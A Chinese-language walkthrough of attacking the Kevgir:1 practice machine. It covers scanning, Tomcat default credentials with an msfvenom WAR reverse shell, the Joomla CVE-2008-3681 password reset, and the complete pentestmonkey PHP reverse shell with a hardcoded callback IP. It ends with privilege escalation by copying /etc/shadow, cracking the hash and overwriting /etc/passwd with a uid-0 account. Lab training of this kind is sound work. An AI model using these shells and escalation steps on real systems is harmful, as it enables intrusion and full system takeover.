靶机下载地址:戳我

Kevgir has designed by canyoupwnme team for training, hacking practices and exploiting. Kevgir has lots of vulnerable services and web applications for testing. We are happy to announced that.

0x00 前期工作

使用kali探测存活主机,得到KEVGIR:1靶机的ip为192.168.58.133

fping -g 192.168.58.0/24

探测端口的开放情况:

0x01 信息收集

80端口

Netsparker是一个漏扫工具,除此以外没发现什么有用的信息。继续。

8080端口

不难看出是Tomcat。

8081端口

是Joomla。

9000端口

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行(这个比较抽象,暂且写上,不做解释)。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。

Nikto扫描结果

有一个phpmyadmin,但是登陆不了,显示“#1045 无法登录 MySQL 服务器”。

0x02 获取权限

方法一

利用8080端口,登录后台,密码是tomcat/tomcat,上传war包。

使用msfvenom生成war包:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.58.134 LPORT=8031 -f war>test.war

msf监听:

方法二

使用Joomscan进行漏洞扫描:

CVE-2008-3681

Joomla!1.5到1.5.5版本中的components/com_user/models/reset.php没有正确地验证重置标志,这使得远程攻击者可以重置”第一个激活的用户”密码,通常该用户是管理员用户。

访问:http://ip:8081/index.php?option=com_user&view=reset&layout=confirm

在Token框输入”

接下来重置管理员密码即可。

登陆后台:http://ip:8081/administrator/

进入后台后点击Extensions→Module Manager,对第一个模板进行HTML Editor,修改其内容为kali自带的shell。

/usr/share/webshells/php/php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.58.134';  // CHANGE THIS
$port = 8804;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

访问该模板后可监听到:

0x03 权限提升

python -c 'import pty;pty.spawn("/bin/bash")'

找到正在系统上运行的所有SUID可执行文件。

find / -user root -perm -4000 -print 2>/dev/null

/etc/passwd存在管理员用户,但密码未知,可以考虑使用cp命令将/etc/shadow复制到临时文件夹。

cp /etc/shadow /var/tmp/shadow

ls

cat shadow

得到admin的加密密码:

admin:$6$mf3G6MUz$/si.Yp0SgJH/D4WQRC2lyRAaFKUqeHzC3ZbL7ENrCR2lCNibr0d8V0y03JFEnymP8MZzBi3m6mvaeeUmyySve/:16834:0:99999:7:::

使用john破解得到admin用户的密码为admin:

复制/etc/passwd的全部内容,将admin的uid和gid改一哈:

admin:x:0:0:,,,:/home/admin:/bin/bash

将文件上传到靶机里:

wget http://172.17.0.67/del.txt

再次利用cp命令覆盖掉原来的passwd文件:

cp del.txt /etc/passwd

阿这,算是得到了flag?